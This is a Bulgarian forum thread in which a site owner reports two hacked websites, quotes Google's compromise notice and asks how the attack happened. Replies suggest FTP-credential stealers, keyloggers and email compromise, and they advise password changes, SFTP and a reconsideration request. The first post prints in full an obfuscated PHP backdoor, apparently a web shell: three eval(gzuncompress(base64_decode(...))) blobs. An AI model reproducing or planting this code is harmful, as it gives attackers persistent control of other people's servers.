Хакнати сайтове...

M

Msecurity

Registered
Здр
Туко що видях че 2-та ми сайта са хакнати... за единият разбирам е може да стане защото е php но другият е напълно html...
Ето го едното писмо от Гугъл за едният сайт:
Код: 
Notice of Suspected Hacking on..... 10 юни 2011
 Dear owner or webmaster of .....
 We are writing to let you know that some pages from  http://aresgroup.bg/ will be labeled as potentially compromised in our  search results. This is because some of your pages contain content which  may harm the quality and relevance of our search results. It appears  that these pages were created or modified by a third party, who may have  hacked all or part of your site. Many times, they will upload files or  modify existing ones, which then show up as spam in our index.
 The following are some example URLs which exhibit this behavior:
 

    http://aresgroup.bg/cleveland.php?q=decent-pictures-of-nicki-minaj

 These URLs are using practices which do not follow our quality guidelines, which can be found here: http:// www. google.com/support/webmasters/bin/answer.py?answer=35769&hl=en.
 We encourage you to investigate this matter in order to protect  your visitors. If your site was compromised, it's important to not only  remove the malicious content from your pages, but also to identify and  fix the vulnerability. Note that in many cases, this malicious content  is hidden through a process known as cloaking. To learn what cloaking  is, see http://www.google.com/support/webmasters/bin/answer.py?answer=66355&hl=en. You can confirm if your site is cloaking by using the Fetch as Googlebot tool: http://www.google.com/support/webmasters/bin/answer.py?answer=158587&hl=en.  A good first step towards resolving the problem is to contact your web  host's technical support for assistance. It's also important to make  sure that your website's software is up-to-date with the latest security  updates and patches.
 More information about how to fix your site can be found at:
 http://www.google.com/support/webmasters/bin/answer.py?answer=163634&hl=en
 Once you've made sure your site is clean and secure, you can request reconsideration by going to https://www.google.com/webmasters/tools/reconsideration?hl=en.
 Sincerely,
 Google Search Quality Team
 1600 Amphitheatre Parkway
 Mountain View, CA 94043
 You are receiving this email because you are a verified site  owner of this site within Google Webmaster Tools.  If you do not wish to  receive notifications of this nature for this site, you may remove  yourself as a verified site owner within the Webmaster Tools console.
Но другият се чудя как са го направили.. имаше качен php файл със следното съдържание:
cherokee.php
PHP: 
<? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('eNqdG2tz3Lbx82lG/4FW1USspDPej1qnNE2VTGacpLXTfpEuN6p9rjV1pFaSm7ae++8FFgCPWJCgrnqcRBL7APaJxfLwm5c//P7Ll68vP19RRpTghCu1+nx5SZZH93cfb98ekbZ9sb+3v3fzrjm6eXhYPx4drr65+PFypQRjRhDG3JBl2+7vfWr8qKPm2VFzOIaWLo8Onv90dHl9+l9yaq9Or+ZX7dXR1WdXi+Vv2sPnNwcnTYGeevQe//7e25u1Y2YDP/t7wNMoKbY86iFhbdt89tk4YzwbzSdGi2y0cOw1jrvZu4+3bx5v7m6bD6sVcetEwu3Z4Yo2i3Fscnnk19iNGxuhlg4bPWkoIYT5JSITADoCCDe6L8cKiEk0rKW8gzomc+l/p6BthJZsZ1BKEuUeWRm+J2FphO2BMjVX6UvXriaRs+2yU3PS9ETuGZvNgmxZTbaUA45IacWrY0Wkx4jVVIoABEruAM8X3QxN9uNtY5YYeXf94WE9MS3ZY+l+/fjx/tZpFPOXwbLWDkXjLHkcg9PH/mqoZADjJpDojKIEjQ1qveXCXTiTz2jp6I/29w5XorqaJmfStCdN/9q23pBeX7z6y8Wry/4D6v2Z58MTcR97vxunYXMalAJ34wCMIADWniSpUqbnWg7+mcJKEVbezt3qTAAxBCQAaMsOYXM29tkJwUlBOilkiCQgmmf3lAfwqlxhCExF5lKiGnRr04BSfvJSVzWpM4FmZQaY8aLvx4bgG8dxgsGonDFGJ4DAZ8O0t8EqBrcMD2uXzSJfQcbbBuxmf2B5mUhLOU4bjEkGo2z81+FKYzQSWAvrCl+wuMYNOzj79t13d28/flg3P9+9Xd2vf7m/eVzP35zv770K/1/c/u3mdt38cNvd+eru9m3z60+vLv7054vXP66+/vblxfdffnexaZ6dvnvKoLfdoFee7k9Hc5cPNAfzQQtlql3OD7745+KQNpcvl/t7Z88Tx+cHXigr2yzczMcXCPkGppFGmAnhQrizJ269quM4hDYLY0oJwH1Y+k0wpk5YlPix42h91Bt9iOyak9ICuFPejrgjRxFrnHkYSnIg8CoD4uCiXfaQ+TAUvT+lHZX1m/d38NTh0P5myOX89yb5cwrhcfXHH17nNsIlEKjqPA+B1lkOMiau2mhLAUFhgVw7C3yGgEyMaA5lNcpw5G+4LVdbkFy7RHAd4xGahwgtTkpmBYvBaRw4JIshe4BVz+A53O8S6cq6CFGui5DbdcGOSajAWHgCf+aVhXM+yg3yPuB1TtaJI79h3JSbiFotttklw79Av5a4cEhyB2haRFO6HOAE5hDnW66kpClZGXjG8lXuL3RlSSwsyYCFSe7Zye4IHyLOu+S+yYJknY4go3RkQUeVdGaQFs2CQOqeStQ8lUCeSurSdqRp26RWumaIgi+bHJtFCZ8i7clAAFY0WdSKGqTSasgPKu8HR9kQtQmDXYthL6qcueV0ZCDetvltVSMPxj+E3VkVwmNqeHRtGmaMiPVb9YyKJjUqtkJFkhEqmpZUWIWKrOmgZGNUeElF1KiE+KMRiEyqZZFqadV/kuKliS6sEugkijhag1o7NM5VOWDwVqVL0pAIU5uz51KQBsYHVzXbNJ1tb91WdF79rR11zLKwt5vYhkmJtmEEmaWhYxsxk2KdXybmc5R+ASob6YXVfFHhAu1YjcBcSM/FKDgk1AVV5VWk+W3ztYO5CNJk1WqAxHtSlHcat0n1U22fhAxtPg3a1liSI+NIAy31GsFYphGWpeFiq5aM11MOhXa1lgNln7+wZABMLa7v76//E0pd7+7ufcrBdArn7Qt/dTZOAgo9TF5uwz/vfdUvvRp59MfHXUGOmcU4LVbQYhJ9uHzBY1ymwk4VH7gGlleQrGifBIus3UokZAVLbZ6EC5miRdpnzQ64kEFZHG0pITtg02jXTmiBju2AzmB0vEAndkCHqzxEFuh2EIPGNSCiC3Q7SELj4g8pREF3EIXGZSFaiILuIArNMbpCFHQHUWhc3qGFKOguopDBMqeq6ZBVMbXFu6n4sG09by7RR+mG7HzhMQdnkjBDvHVR76sP1w8P3gmzFNf/dX3vYiX3SXfPm8Yv/18/SDNfN6ZQHf4US8S8ehChIczxuGl/CoAzNOCjQVIpNNplNsWtUIHdhZwdJsdwTkFZobSMFXcKTWSiuAPqld9SxaBitsyUYIVV8oJrXnDNWbFsnO+6bIYMLxsvpssLa+LFbHkxW26KO8VkRTFZUUxWFCIShYhEwbMvSeBbauclwk5UFLMUZmekRYW9WBZJdkaKHaos1lEyjHSWzL+aUBrsXOVW1Zote9UzLAMelbOOdPSSXGy9pEcpzjymF83xsb9o4+BYrp5FZi/9s2WVnMIsi8ByhI2MdyhlFVlwfwm0OS1OMl9skaV5qXxeqjnzf2ScmWq3EKkWDxeeGahndPT8p+rqqHHQ4/ubh9Nz5/D9U728XJYgx/9fRtybyiaufvybdMVU18rXADru+tJeX795DytjmuuHBjYgA9LtT4zRuoxtn1QY3xH04TJ8FOGPeyZsFv6ED5ydvKoa6oaCJG1VR0XVVi3JFynTRcGaKiztOjCOvVdO/wv/3Wa4xlTxzBMZUsRZzBncc95XPlAuQXMd9OCCIL1cCdj096UiqMMyOhu27Sep7LMtR6J2SHM7LDdiLbKZUMz2/OFjSV/LTZyPciBKve5Pm4Y1EoM0aUnTHz781dnE33tzUKrXkVC9bEetFCTYszbBg7W5aDiop2o8CbahKpl5tzghddYrtwv866b25u728eb247oHipCMUlWBqheyOq3utFtniV1S3XdjtSvH3MfbUC16GpHBKQwBy/5vW3VdVg9PcgcNWOLgrts+q6MMTjBmhhmLoJimwTR1M69hr9V1KcH7Xxk2Aj6RQ00DpO/nk9YD+VrjB8HJnCpSJBVSJKHj/gk+ul4YoV+ksBJ2ZFDBCnmZ27KFgpbw8fF2/UtvpxUf2OAjzOk5RKHOc6tt85GuXbUZovFp4vRSFdmyCtmQsKGMGreVhytJKsVUquRENZUSnISqYpugdM3RUyKWg6RNWVKVZFHBIzEnqApKNRQ/JGmfgg2nk5pibGyLLfW/0LqYNDqYorqQkw5yCmj9AWa5MlqWp7FUw9m2h2S4CUfrdj6Ix61w1RO2v+kUds7wr8ssNtCUwlN1OEcOp9+S5mZsoAMhnIlW1gkX7eLBgOTwKUIThZRZ6aNLffp5XZeHj9OC/g0pugovnAECXCrOuMeqI5XzVWxTTSFQIyaO+GnoepS43cnI1p+a93kbOuiOCdtsjqBrZ4M0NEu6/SISDxy7SnVZgYSKuFTohJKaEBg2NbmGDkgpkwvyHXUTvRw0dEIO9eYZW0QnS2L7oaOCe2xoOOQYwmTdKo494niiVvS6pcZIyVFSfuEqs8U+zBbFB2tGuxWtDcnLZuvdzdYajmn8Se6vHlOgszPvjRtoH2KEts2UfkN/x/hj3IFFQkSGXCBYvI0kVqq3a9ttlxvhcXsTIzydQoX8OZCDBFqxpk3V1tiy5+ifN7CsMZef6km2xSKG3sr5wXPf13Y1f//484fDX4VudwUN3Yo3qWDt2J1jfkG1pJ77gROOIbnBJRJZ1TVAX2o+HusgI6Ya0aEJNQfA5S5GQ7krm8MuRYvt5FCqyCitTo9h3igreOP16fEChShQyHJ6QyeH47NQIa8ANSDHxy+69BP0WAwFXUZ1W2u0orglllFTMG5T/jFh1Qy5KsaiRAV8umiWsmCl8lJLDWlolZ04b80tNhvvonc0Xt2drChTWBGjyYrGWdF4foWesFAUVajTgzGwcaXR3RjPldsxITyq39+vXOKxbbM6lm4nJv2rE1uHE5sx/NTCBgPcQdlOrKEg4oZpgt0egx4QZRGLtmo6sFN0mpEDcVIFssNAdIg+rzXv0NBCW6LiVSA6DCQG6csqKjaMqupOQzNqCaQH6ZsqKjGMqiq00EBaAAkyRF9UXWdoJy1R1YWmh4H4IH1RRTWsf6IutGH9Eypt27oWRt+XXd+/CeL3bzkeHbfVTdiU1N8Agh5IRwU8rKxvgkRoPQls9pwdC/7N7T5D9qk5FGDcjS7zC3MRxdsCAy9AsFAQSA2pzyr8cGgVdWjjGwner8j6dAUOlJKMJMZMes8dA8YUWlmgLVxzPK9ymLq2Ma3qWIt8Nx4gaQmfuuPO4HC20hbdSj0BzeiG1LGTdplxOUOOWdkKCRyRZEgytN6mEWEzCJ3v3ct+zZff/6GKF+xqCIvPdbVJ8p6lyVdQ2RFULxJ8CFhcdWW1TeofnpC6DK3KCLe2y5PBu7mWS5WpQ9QIQ+oUadR4rFt6cssTekkNCUSnBvMwOBjiJtaSTLFVkdXoILvo4GAZmj4UY5TxH3lFhikA0BzdhfCsCbobOgK74qihvTcH+udtws+HP6UnlOKmUFaULlksXQ6+/SO7jm0jFvkjNeDtFIRd41xmfhs8Y5FA+Sbm+B5B5cU/CWHRl3nCwtSG6jg0NkLWCpCyeDEJvTvCfEUS1vkp2CzGxjA2nmEzcrFt7o231KIyN0XC3BDWWP2qAUJQNL6lysjJwcGwFFJEGc8k3L+6sgqh/dKvf5P0djYDzztQH2W+zorKrMyXWeMx8lCI1QPvLTBt4mt6NSeswHzdcvVPuFTxG31x9JY5GYsLUxMeFZpAQ0RPduwWx9TWTw2V6pmJr8nG04ShERQsaaLmjns/mcFKavi25j6FDNsPNHpnN2RewJ9esKKaY/BhB4MS6virzcNbGGP64WmSD13UV6DhOzneDNk/7m9uH+HSXaz/ffOYugQ3/wNE5Fgj'))); ?>
Някои ако може да ми обясни как е станало това ще съм му много благодарен...
 
Привет,
долния код е няк'в шел явно и от там е дошъл проблема. А как са го качи ли.. хиляди възможности при php-то, ако си допуснал грешка в кодове. За html, ако са на един потребител двата сайта така са се добра ли до него или пък си ползвал една парола за двата сайта.. и са се сдобили с достъп. Хиляди предположения. Обърни се към хостинг компанията, ако имат кадърен екип да разберат.

Погледни тази тема за сигурност все пак - http://web-tourist.net/forum/viewtopic.php?t=83500
 
И 2-та ми сайта са на различни профили в Супер Хостинг... и паролите са различни.
Ще погледна темата... но за 2-рият сайт който е php доста хитро са го измислили.. и туко що забелязох че имам прехвърлен сайт в гугъл профилът ми или си нямам и на идея как се е озовал при мен.. при положенеи че такъв сайт не съм създавал никога , а пише че публикациите са от мен...
https://sites.google.com/site/ddddhfghfhf/
:@
 
То им стига да се проникнат с този шел в хоста ти и ти едитват и HTML сайта. Както nomer1 ти каза погледни темата която ти е дал
 
Възможно е да имат и достъп до е-майл ти. За по-голяма сигурност просто си смени паролите прегледай лог файловете, ако имаш достъп до тях и установи какво не е наред. :?:
 
първо си смени паролата за фтп и се свързвай чрез SFTP, провери си компа за вируси и тогава смени паролата, смени паролата и на cpanel, това ще ти отговорят от суперхостинг. там няма кой да разбира, а тоя суперхостинг толкова много го наакаха, че се чудя как продължавате да го ползвате
 
Това може да стане само ако имат достъп до пощата ти.
Оттам идва и проблема, че могат да влизат навсякъде.
Това е най-честия вариант и най-лесният.
Пароли на пощи особено в gmail се крадат лесно с клонирани страници.
 
аз имах подобен проблем преди години със суперхостинг, проблема не беше от поща или от каквото и да е, то всъщност и аз не разбрах как ставаше, но мине не мине седмица две и се триеше кода от php и се вкарваше някакъв js код. докато не смених паролата за FTP и не започнах да се свързвам, чрез SFTP проблема продължаваше да го има въпреки смяната на паролите. и това ми се е случвало само със суперхостинг, а отговор от тяхна страна не получих как точно става това
 
embaka каза:
аз имах подобен проблем преди години със суперхостинг, проблема не беше от поща или от каквото и да е, то всъщност и аз не разбрах как ставаше, но мине не мине седмица две и се триеше кода от php и се вкарваше някакъв js код. докато не смених паролата за FTP и не започнах да се свързвам, чрез SFTP проблема продължаваше да го има въпреки смяната на паролите. и това ми се е случвало само със суперхостинг, а отговор от тяхна страна не получих как точно става това
Увеличете...

Понякога проблема е в нашия телевизор , а не в на другия. Ако има проблем , значи идва от теб самия. Ако всичко си си защитил , като хората, освен чрез root достъп до машината друга начин няма да има.

Е разбира се, ако чак толкова е наакана работата в хостинг компанията и да ти крадат файловете и да правят други мизерии, който не са по твоя вина - става гадно..

Трябвало е да си провериш кошницата може да е имало гадинки - sniffer-и, keylogger-и и прочие..

Говоря от личен опит.
 
nom3r1 каза:
embaka каза:
аз имах подобен проблем преди години със суперхостинг, проблема не беше от поща или от каквото и да е, то всъщност и аз не разбрах как ставаше, но мине не мине седмица две и се триеше кода от php и се вкарваше някакъв js код. докато не смених паролата за FTP и не започнах да се свързвам, чрез SFTP проблема продължаваше да го има въпреки смяната на паролите. и това ми се е случвало само със суперхостинг, а отговор от тяхна страна не получих как точно става това
Увеличете...

Понякога проблема е в нашия телевизор , а не в на другия. Ако има проблем , значи идва от теб самия. Ако всичко си си защитил , като хората, освен чрез root достъп до машината друга начин няма да има.

Е разбира се, ако чак толкова е наакана работата в хостинг компанията и да ти крадат файловете и да правят други мизерии, който не са по твоя вина - става гадно..

Трябвало е да си провериш кошницата може да е имало гадинки - sniffer-и, keylogger-и и прочие..

Говоря от личен опит.
Увеличете...

трудна работа на машината ми да има гадинки, но щом казваш, проблема е в моето задклавиатурно устройство ;)
 
//offtopic
Говорех по принцип как седят нещата. Не визирах тебе, а ако е имало нещо щех да ти го кажа директно.

Аре стига обяснения ;}
 
Мерси много за отговорите момчета, сега ще погледна всичко от началото до края и ще сменя всички пароли и дано се оправи проблема.
А може ли просто някои да е поискал гугъл да ми блокне сайтовете... това да му е била основната идея. Защото виждал че информацията в сайта не е променена нито изтрита.Единият ми сайт се класира на първите 4-5 позиции в гугъл по 4 ключови думи и се чудя дали конкуренцията не ми е дигнала мерника.
 
Аз мисля че са му пратили някой кейлогер или стийлър и преспокойно са му саборили сайта и за газария са оставили шел..

Нещо ник на хакера няма ли?
 
Щом и двата сайта са хакнати, е възможно да е вирус. Има FTP вируси, които крадат паролите на FTP програмата.
Трябва да разгледаш внимателно сайтовете си и да определиш кои файлове не са добавяни от теб. По тях ще се ориентираш какво те е сполетяло.
След като разбереш какъв ти е проблема, изчистиш локалния компютър, смениш паролите и оправиш сайтовете можеш да пишеш на Google чрез Google Webmaser Tools за да те извади от черния списък.
 
Doris каза:
Щом и двата сайта са хакнати, е възможно да е вирус. Има FTP вируси, които крадат паролите на FTP програмата.
Трябва да разгледаш внимателно сайтовете си и да определиш кои файлове не са добавяни от теб. По тях ще се ориентираш какво те е сполетяло.
След като разбереш какъв ти е проблема, изчистиш локалния компютър, смениш паролите и оправиш сайтовете можеш да пишеш на Google чрез Google Webmaser Tools за да те извади от черния списък.
Увеличете...

Наричат се stealers & Keyloggers....

По принцип 90% от тях антивирусните ги хващат за троянски кончета..
 
И попринцип в 90% от по големите "хахорски" сайтове има private криптери чрез които не ги хващат av-тата ;)
 
Оправих сайтовете , и да се надявам че повече няма да има хакерски атаки, изпратих молби до гугъл за преразглеждане на сайтовете... нооо много ми хареса като прочетох "Моля, дайте ни няколко седмици за обработка на молбата за преразглеждане" ... и какво няколко седмици при търсене в гугъл под сайтовете ми ще седи и текста "Съдържанието на този сайт може да е променено от хакери." ...

Някои знае дали наистина се чака толкова или процедурата може да премине и по бързо.
 
Може по-бързо , може по-бавно може и да не премине.
Пък ако ползваш google adsense може и да ти спрат сайта понеже сайта ти бил хакнат както ми спряха моя при 40$ в сметката преди 2-3 години :) Може и много по-скоро да ти го оправят.. Времето ще покаже.
 
Аз също имах подобен проблем, след като им писах, Гугъл махнаха надписа за по-малко от ден.
 
Трябва да си влезнал или регистриран, за да отговориш тук.

Back
Горе